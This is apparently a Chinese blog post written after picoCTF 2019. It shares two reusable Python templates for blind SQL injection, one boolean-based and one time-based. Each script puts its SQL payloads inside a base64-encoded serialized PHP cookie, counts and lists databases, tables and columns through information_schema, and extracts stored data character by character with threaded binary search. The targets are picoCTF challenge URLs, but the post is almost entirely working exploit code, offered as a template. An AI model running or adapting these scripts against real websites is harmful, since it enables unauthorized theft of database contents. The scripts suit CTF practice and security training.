最近的picoCTF刚好涉及了这两种盲注,之前也没写过类似的脚本,于是写了一个注入的模板。

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#-*- encoding: utf-8 -*-
from urllib.parse import quote
import threading
import requests
import base64
import re


session = requests.Session()
session.proxies = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080",
}


def send(payload, debug=False):
url = "https://2019shell1.picoctf.com/problem/62195/index.php?file=admin"
payload = "admin" + payload
cookie = r'O:8:"siteuser":2:{s:8:"username";s:%d:"%s";s:8:"password";s:5:"guest";}' % (len(payload), payload)
cookie = base64.b64encode(cookie.encode('utf-8'))
cookie = quote(cookie)

try:
r = session.get(url, cookies={"user_info": cookie}, timeout=2.5)
except(requests.exceptions.Timeout):
return

if debug:
print(cookie)
print(r.text)
if "Flag: Find the admin's password!" in r.text:
return True
else:
return False


def search_number(sql):
cnt = 0
while cnt >= 0:
payload = sql % cnt
rep = send(payload)
if rep:
return cnt
elif rep == False:
print("Num:", cnt)
cnt += 1


def find_database_num():
sql = "'AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = %d)-- "
return search_number(sql)


def find_table_number(db_name):
sql = "'AND ((select count(table_name) from information_schema.tables where table_schema='{}') = %d)-- ".format(db_name)
return search_number(sql)


def find_column_num(table_name, db_name=None):
if db_name:
sql = "'AND ((select count(column_name) from information_schema.columns where table_name='{}' and table_schema='{}') = %d)-- ".format(table_name, db_name)
else:
sql = "'AND ((select count(column_name) from information_schema.columns where table_name='{}') = %d)-- ".format(table_name)
return search_number(sql)


def find_data_number(column_name, table_name):
sql = "'AND ((select count({}) from {}) = %d)-- ".format(column_name, table_name)
return search_number(sql)


def get_name(number, sql):
global end, name
for num in range(number):
char = 1
name = {}
payload = sql.format(num)
while char:
end = False
thread_list = []
for i in range(8):
thread_list.append(threading.Thread(target=search, args=((0, 129, char + i, payload))))

threading.Semaphore(8)
for t in thread_list:
t.start()
for t in thread_list:
t.join()

char += 8
if end:
name = sorted(name.items(), key=lambda x: x[0])
print("".join([x[1] for x in name]))
break


def search(left, right, char, sql):
global end, name
mid = (left + right) // 2
if right != left + 1:
payload = sql % (char, mid)
rep = send(payload)
if rep:
search(left, mid, char, sql)
elif rep == False:
search(mid, right, char, sql)
elif right != 1:
# print(char, chr(mid))
name[char] = chr(mid)
else:
end = True
return


def get_database_name(db_num):
sql = "'AND (ASCII(substr((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {},1),%d,1)) < %d)-- "
get_name(db_num, sql)


def get_table_name(table_num, db_name):
sql = "'AND (ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='" + \
db_name + "' limit {},1),%d,1)) < %d)-- "
get_name(table_num, sql)


def get_column_name(column_num, table_name, db_name=None):
if db_name:
sql = "'AND (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' and TABLE_SCHEMA='" + db_name + "' limit {},1),%d,1)) < %d)-- "
else:
sql = "'AND (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' limit {},1),%d,1)) < %d)-- "
get_name(column_num, sql)


def get_data_name(data_num, column_name, table_name):
sql = "'AND (ascii(substr((SELECT " + column_name + " from " + table_name + " limit {},1),%d,1)) < %d)-- "
get_name(data_num, sql)


if __name__ == '__main__':
db_num = find_database_num()
print("Database Number:", db_num)
print("Databases:")
get_database_name(db_num)

db_name = input("Database: ").strip()
table_num = find_table_number(db_name)
print("Table Number:", table_num)
print("Tables:")
get_table_name(table_num, db_name)

table_name = input('Table: ').strip()
column_num = find_column_num(table_name, db_name)
print("Column Number:", column_num)
print("Columns:")
get_column_name(column_num, table_name, db_name)

column_name = input('Column: ').strip()
table_name = db_name + "." + table_name
data_num = find_data_number(column_name, table_name)
print("Data number:", data_num)
print("Data:")
get_data_name(data_num, column_name, table_name)

'''
while True:
payload = input("Payload: ")
send(payload, debug=True)
'''

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#-*- encoding: utf-8 -*-
from urllib.parse import quote
import threading
import requests
import base64
import re


session = requests.Session()
session.proxies = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080",
}


def send(payload, debug=False):
url = "https://2019shell1.picoctf.com/problem/47283/index.php?file=admin"
payload = "admin" + payload
cookie = r'O:11:"permissions":2:{s:8:"username";s:%d:"%s";s:8:"password";s:5:"guest";}' % (len(payload), payload)
cookie = base64.b64encode(cookie.encode('utf-8'))
cookie = quote(quote(cookie))

try:
r = session.get(url, cookies={"user_info": cookie}, timeout=4.5)
except requests.exceptions.Timeout:
return True
except requests.exceptions.ReadTimeout:
return

if debug:
print(cookie)
flag = re.search('(picoCTF\\{.*\\})', r.text)
if flag:
print(flag.group(1))
else:
print(re.search('<h5 class="card-title text-center">(.*?)</h5>', r.text).group(1))
return False


def search_number(sql):
cnt = 0
while cnt >= 0:
payload = sql % cnt
rep = send(payload)
if rep:
return cnt
elif rep == False:
print("Num:", cnt)
cnt += 1


def find_database_num():
sql = "'AND if(((SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = %d),sleep(5),1)-- "
return search_number(sql)


def find_table_number(db_name):
sql = "'AND if(((select count(table_name) from information_schema.tables where table_schema='{}') = %d),sleep(5),1)-- ".format(db_name)
return search_number(sql)


def find_column_num(table_name, db_name=None):
if db_name:
sql = "'AND if(((select count(column_name) from information_schema.columns where table_name='{}' and table_schema='{}') = %d),sleep(5),1)-- ".format(table_name, db_name)
else:
sql = "'AND if(((select count(column_name) from information_schema.columns where table_name='{}') = %d),sleep(5),1)-- ".format(table_name)
return search_number(sql)


def find_data_number(column_name, table_name):
sql = "'AND if(((select count({}) from {}) = %d),sleep(5),1)-- ".format(column_name, table_name)
return search_number(sql)


def get_name(number, sql):
global end, name
for num in range(number):
char = 1
name = {}
payload = sql.format(num)
while char:
end = False
thread_list = []
for i in range(1):
thread_list.append(threading.Thread(target=search, args=((0, 129, char + i, payload))))

threading.Semaphore(8)
for t in thread_list:
t.start()
for t in thread_list:
t.join()

char += 1
if end:
name = sorted(name.items(), key=lambda x: x[0])
print("".join([x[1] for x in name]))
break


def search(left, right, char, sql):
global end, name
mid = (left + right) // 2
if right != left + 1:
payload = sql % (char, mid)
rep = send(payload)
if rep:
search(left, mid, char, sql)
elif rep == False:
search(mid, right, char, sql)
elif right != 1:
#print(char, chr(mid))
name[char] = chr(mid)
else:
end = True
return


def get_database_name(db_num):
sql = "'AND if((ASCII(substr((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(db_num, sql)


def get_table_name(table_num, db_name):
sql = "'AND if((ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='" + \
db_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(table_num, sql)


def get_column_name(column_num, table_name, db_name=None):
if db_name:
sql = "'AND if((ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' and TABLE_SCHEMA='" + db_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
else:
sql = "'AND if((ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(column_num, sql)


def get_data_name(data_num, column_name, table_name):
sql = "'AND if((ascii(substr((SELECT " + column_name + " from " + table_name + " limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(data_num, sql)


if __name__ == '__main__':
db_num = find_database_num()
print("Database Number:", db_num)
print("Databases:")
get_database_name(db_num)

db_name = input("Database: ").strip()
table_num = find_table_number(db_name)
print("Table Number:", table_num)
print("Tables:")
get_table_name(table_num, db_name)

table_name = input('Table: ').strip()
column_num = find_column_num(table_name, db_name)
print("Column Number:", column_num)
print("Columns:")
get_column_name(column_num, table_name, db_name)

column_name = input('Column: ').strip()
table_name = db_name + "." + table_name
data_num = find_data_number(column_name, table_name)
print("Data number:", data_num)
print("Data:")
get_data_name(data_num, column_name, table_name)

while True:
payload = input("Payload: ")
send(payload, debug=True)

参考资料

p0desta-SQL注入备忘录